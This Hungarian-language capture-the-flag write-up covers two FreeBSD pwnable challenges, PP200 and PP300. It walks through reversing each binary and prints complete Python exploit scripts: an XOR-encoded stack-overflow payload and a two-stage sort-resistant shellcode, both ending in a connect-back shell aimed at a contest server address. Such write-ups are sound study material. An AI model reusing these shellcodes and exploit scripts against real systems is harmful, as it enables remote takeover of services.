A Pwnables kategória feladataiban a bináris analízis mellett szoftver exploitálási képességekre is szükség van: letölthető programok mindegyike tartalmaz valamilyen biztonsági hibát, melynek kihasználásával átvehető az irányítás egy távoli szerveren futó szolgáltatás felett. Az alábbiakban a PP200 és PP300 feladatok megoldása kerül ismertetésre eax közreműködésével.
PP200
A PP200-as feladat ismét egy 32 bites FreeBSD bináris volt. Az induláshoz létre kellett hozni egy pp200 nevű felhasználót home könyvtárral, de ez már rutin feladat volt, mint ahogy az első varázsszó megtalálása is:
Miután a fent látható sztringet beküldi az ember hálózaton, a "What is you user id?" kérdéssel válaszol a program. A válasz ellenőrzésének lényegi része az alábbi:
push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] movzx edx, al mov eax, [ebp+var_4] add eax, 1 movzx eax, byte ptr [eax] movzx eax, al xor eax, edx mov edx, eax mov eax, [ebp+var_4] add eax, 2 movzx eax, byte ptr [eax] movzx eax, al xor edx, eax mov eax, [ebp+var_4] add eax, 3 movzx eax, byte ptr [eax] movzx eax, al xor eax, edx cmp eax, 0A6h setz al movzx eax, al leave retn
Itt lényegében a beolvasott, majd longgá alakított (strtoul()) 4 byte kisindián egésszé alakítása történik meg, amit végül a 0xa6 értékkel hasonlít össze. Ezt az értéket beküldve meg is kapjuk az "Ok, then bring it on!" üzenetet. Ezután jön az érdekes rész:
Az ebp+20C címen lévő változónak 512 byte van foglalva a stacken, a ciklus pedig byte-onként tölti fel, a bejövő értékeket először a user id-val (vagyis a 0xa6 értékkel) xor-olva. A gond az, hogy az olvasás csak a 0x0A érték beolvasásakor áll meg, itt tehát egy vanilla stack overflow-val van dolgunk. A "megállási feltétellel" kapcsolatban a decompiler persze ismét félrevezetett, így sokáig nem tudtam triggerelni a hibát, hiszen az eljárás nem tért vissza. A program elvileg csak 5 percenként fogadott el új kapcsolatot egy IP-ről, így a tesztkörnyezetben minden próbálkozásnál újraindítottam, ennek eredményeként viszont kiderült, hogy a stack minden egyes futás alkalmával ugyanott helyezkedett el a memóriában, így nem kellett keresgélni a saját beküldött adataimat.
Az EIP pontos felülcsapásához a stack struktúra ismeretében elég volt néhány próbálkozás, még a Metasploit mintagenerátorát sem kellett használni. Az egyetlen problémát az jelentette, hogy ugyan rákerült a vezérlés a shellkódra, ami rendeltetésének megfelelően vissza is csatlakozott a támadó gépre, a kapcsolat azonban azonnal le is zárult, olvasni tehát a socketből már nem tudtam. Ekkor vasárnap hajnal 2-3 óra körül járhatott az idő, engem pedig a rosszullét kerülgetett, ha a gdb-re néztem, így megkértem eax-ot, hogy nézzen rá az exploitra. Nem is kellett csalódnom, eax hamar rámutatott, hogy mivel a stack pointer éppen a shellkódba mutatott, az futásakor önmagát kezdte el módosítani, és ez vezetett rövid úton segfaulthoz. A 200 pontot érő exploit végül ez lett:
HOST = '140.197.217.155' # The remote host PORT = 8912 # The same port as used by the server sc=("\x81\xec\xff\x00\x00\x00\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68\x4e\x18\xbf\x89\x66\x68\x11\x5c\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80") sc_xor="" for i in range(0,len(sc)): sc_xor=sc_xor+chr(ord(sc[i])^0xa6) #tudom, ez ronda, de mukodik ;) print repr(sc_xor) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) #time.sleep(3) s.send("b74b9d86e6cd3480\n") print s.recv(1024) s.send("0x00a6\n") print s.recv(1024) print s.send("\x36"*(512-len(sc_xor))+sc_xor+"\xb6\x44\x18\x19") #orig s.close()
PP300 - by eax
A feladat itt is egy ip-port párosból, egy letölthető binárisból, és egy "PWN it!" felhívásból állt. A pp200-hoz hasonlóan itt is egy freebsd 9.0 binárissal volt dolgunk, és az előzmények ismeretében nem okozott nagy meglepetést, hogy bináris futtatáshoz szükség lesz egy pp300 userre, a /home/pp300-ban egy chroot környezetre, és a továbblépéshez egy varázsszóra - utóbbi a strings parancs kimenetéből hamar kiderült.
Ezen túllendülve a bináris újabb inputra várt, amit - legnagyobb meglepetésemre - beolvasott a stackre, majd ráugrott az eip-vel. Ez így 300 pontért túl egyszerűnek tűnt, de azért megpróbáltam egy connectback shell-t. Az aggodalom nem volt alaptalan, a shellkódot ugyanis futtatás előtt alaposan átrendezte.
IDA-val megvizsgálva a binárist a következő látszott:
Az első a beolvasás és az azt követő részek, a másik a shellkódra hívott rendezo() függvény - egy mezei bubble sort, ami nem byte-okat, hanem 4 byte-os dword-öket rendez. A rendezésálló shellkód nem olyasmi, ami bármely háztartásban megtalálható, így én is először a probléma megkerülésével próbálkoztam. Kézenfekvő megoldás lett volna, ha a shellkódot az előző lépésben, a kódszó után küldöm (az fgets ott is max 1024 byte-ot olvas), a második körben pedig csak egy rövidebb nop sled-et. Ez felülírja a kódszót, és így szabaddá teszi az utat a még mindig a pufferben figyelő shellkódig. A terv végrehajtását azonban a gondos szervezők egy stratégiai helyen elhelyezett (a puffer nem rendezett részét kinullázó) memset-el megakadályozták.
Szükség volt tehát egy rendezésálló shellkódra, amit a szívásfaktor csökkentése érdekében érdemes 2 stage-re bontani - így csak a relatív rövid stage1-nek kell sértetlenül megúsznia a rendezést, majd letölteni és lefuttatni a nagyobb stage2-t. Az adott körülmények között (már van egy élő tcp kapcsolatunk, és egy jó helyre mutató esp-nk) a stage1 egyetlen read() rendszerhívással megvalósítható.
Freebsd-n ez valahogy így néz ki:
b803000000 mov eax,3 ; 3-as syscall: read 53 push ebx ; az ebx itt egészvéletlenül mindig 1024-et tartalmaz, ez pufferméretnek épp jó 54 push esp ; a stacken van hely 6a04 push 4 ; a tcp kapcsolatunk fd-je 6a04 push 4 ; plusz 4 tetszőleges byte a stacken cd80 int 0x80 ; a rendszerhívás
Mivel a rendezés 4 byte-onként történik, a fenti opcode-okat ki kell egészíteni 4 byte-osra úgy, hogy a sorrend jó legyen, és ne rontsuk el az utasításokat. Ehhez 2-féle nop-jellegű 1 byte-os utasítást használtam: a \x41-et (inc ecx), és a \x90-et.
A végeredmény:
b8 03 00 00 00 41 41 41 53 41 41 41 54 41 41 41 6a 04 90 41 6a 04 90 41 cd 80 90 90
Ezután már csak el kell küldeni a stage2-t, ami egy csomó nopból és egy mezei connectback shellből áll, és bezsebelni a megoldásért járó 300 pontot. A teljes exploit:
#/usr/bin/python import socket import time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('140.197.217.155', 7548)) time.sleep(4) s.send("3c56bc31268ac65f\n") stage1=( "\xb8\x03\x00\x00" "\x00\x41\x41\x41" "\x53\x41\x41\x41" "\x54\x41\x41\x41" "\x6a\x04\x90\x41" "\x6a\x04\x90\x41" "\xcd\x80\x90\x90") stage2=("\x81\xec\xff\x00\x00\x00\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68\x4e\x18\xbf\x89\x66\x68\x11\x5c\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80") s.send(stage1+"\xff"*(1024-len(stage1))) s.send("\x90"*(1024-len(stage2))+stage2)